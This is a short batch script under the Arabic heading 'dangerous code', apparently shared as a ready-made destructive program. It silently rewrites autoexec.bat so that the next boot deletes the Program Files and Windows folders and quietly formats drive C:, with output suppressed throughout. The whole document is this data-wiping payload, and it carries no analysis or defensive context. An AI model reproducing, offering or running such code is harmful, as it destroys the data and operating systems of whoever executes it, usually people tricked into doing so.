كود خطير

echo off@
cls
call attrib -h -r c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat
echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat
echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat
echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat
echo format c: /q /u /autotest >nul >>c:\autoexec.bat